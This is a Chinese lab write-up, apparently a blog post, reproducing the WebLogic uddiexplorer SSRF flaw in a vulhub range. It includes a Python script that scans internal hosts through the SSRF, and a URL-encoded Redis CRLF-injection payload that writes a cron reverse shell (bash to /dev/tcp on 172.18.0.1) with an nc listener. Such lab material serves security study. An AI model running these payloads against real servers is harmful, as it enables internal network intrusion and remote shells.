Weblogic-SSRF漏洞的复现

一、环境

  • 靶机:centos7虚拟机 ip:192.168.8.11
  • 物理机:windows10
  • burp suite

二、原理

  • SSRF原理:
    是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助服务端实现访问其本无权访问的URL。
    攻击者无权访问的URL主要是内网,而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息,所以SSRF的一大利用是探测内网端口开放信息。SSRF归类为信息泄漏类型。
  • SSRF的危害:
    (1)、读取主机本地的铭感数据
    (2)、内外网web站点的漏洞利用
    (3)、内外网的端口和服务的扫描
    (4)、内外网主机应用程序漏洞的利用

三、步骤

靶场环境的搭建

(1)在CentOS7上安装docker
        更换安装源(这样更快一点):
        yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
        安装docker:yum -y install docker-ce
        启动docker:systemctl enable docker&&systemctl start docker
        查看dockers的版本:docker version

(2)、安装docker-compose(两种方法)

    A、pip直接安装:
        pip install docker-compose

    B、离线安装:
    先下载好dockers-compose的安装包,我下的是最新版的docker-compose-Linux-x86_64,然后通过MobaXterm_CHS软件上传到虚拟机,建议最好不要粘贴复制,文件可能会不全。

    然后将其移动到/usr/local/bin目录并改名为docker-compose
    mv docker-compose-Linux-x86_64 /usr/local/bin/docker-compose

    添加执行权限:
        sudo chmod +x /usr/local/bin/docker-compose

    验证:
        docker-compose version

(3)、安装vulhub

    下载项目:

    wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip

    解压:
    unzip vulhub-master.zip

    进入漏洞环境目录
    cd vulhub-master/weblogic/ssrf

    编译环境
    docker-compose build
    
    运行环境(等一会就安装好了)
    docker-compose up -d

    关闭环境
    docker-compose down

到此靶场就安装好了,可以通过以下命令来查看创建的容器

  • docker ps #查看正在运行的容器
    Weblogic-SSRF漏洞的复现
  • docker inspect 容器id/容器名字 #查看容器的ip地址

漏洞复现

漏洞的测试

1、访问http://192.168.8.11:7001/uddiexplorer/,就可以查看uddiexplorer应用
Weblogic-SSRF漏洞的复现

2、SSRF漏洞测试
SSRF漏洞存在于:http://192.168.8.11:7001/uddiexplorer/SearchPublicRegistries.jsp,然后提交参数值,通过burp抓包
Weblogic-SSRF漏洞的复现

3、我们访问的ip是内网的IP地址,一般是拒绝访问的
Weblogic-SSRF漏洞的复现
4、访问一个不存在的端口,如:http://192.168.8.11:7000,返回错误是:Tried all: ‘1‘ addresses, but could not connect over HTTP to server
Weblogic-SSRF漏洞的复现
5、访问一个存在的端口,如:http://192.168.8.11:7001,返回错误是:The server at http://192.168.8.11:7001 returned a 404 error code (Not Found
Weblogic-SSRF漏洞的复现
返回错误的原因是: 正常情况下我们是无法去访问内网的,但是却可以通过页面的返回不同,去探测内网端口的开放状态,从而知道内网开启的服务,然后再去利用。

注入HTTP头,利用Redis反弹shell

1、Weblogic的SSRF有一个比较大的特点,其虽然是一个”GET/POST”请求,但是我们可以通过传入%0a%0d来注入换行符,某些服务(如redis)是通过换行符来分隔每条命令,在这里我们可以通过该SSRF攻击内网中的redis服务器。

可以用以下的python脚本实现端口的探测(注意将其中的url修改为自己的url)

```python
import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = ‘{ip}.{i}‘.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = (‘21‘, ‘22‘, ‘23‘, ‘53‘, ‘80‘, ‘135‘, ‘139‘, ‘443‘, ‘445‘, ‘1080‘, ‘1433‘, ‘1521‘, ‘3306‘, ‘3389‘, ‘4899‘, ‘8080‘, ‘7001‘, ‘8000‘,‘6389‘,‘6379‘)
    for port in ports:
        vul_url = ‘http://192.168.8.11:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search‘ % (final_ip,port)
        try:
        #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall(‘weblogic.uddi.client.structures.exception.XML_SoapException‘,r.content)
            result2 = re.findall(‘but could not connect‘, r.content)
            result3 = re.findall(‘No route to host‘, r.content)  
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print ‘[!]‘+final_ip + ‘:‘ + port
        except Exception, e:
            pass


if __name__ == ‘__main__‘:
    ip = "172.18.0"  
    if ip:
        print ip
        ite_ip(ip)
    else:
    print "no ip"
```

运行结果:
Weblogic-SSRF漏洞的复现
2、经过探测,内网的一个ip存在6379端口,也就是redis服务,然后就可以利用了。
发送几行代码,即发送三条redis命令,将shell脚本写入/etc/crontab:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

3、然后把这三条命令通过get包注入进去,但是要先将命令用url进行编码,如下

  • test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn%20%20%20%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

4、然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:
Weblogic-SSRF漏洞的复现

5、然后在靶机上开启监听的端口, 输入命令: nc -lvnp 21, 反弹shell。
Weblogic-SSRF漏洞的复现

参考文章

https://www.cnblogs.com/bmjoker/p/9759761.html
https://www.freebuf.com/sectool/226207.html

Weblogic-SSRF漏洞的复现

上一篇:WEB项目实战_源码构建LAMP环境


下一篇:VisualNet 项目实施步骤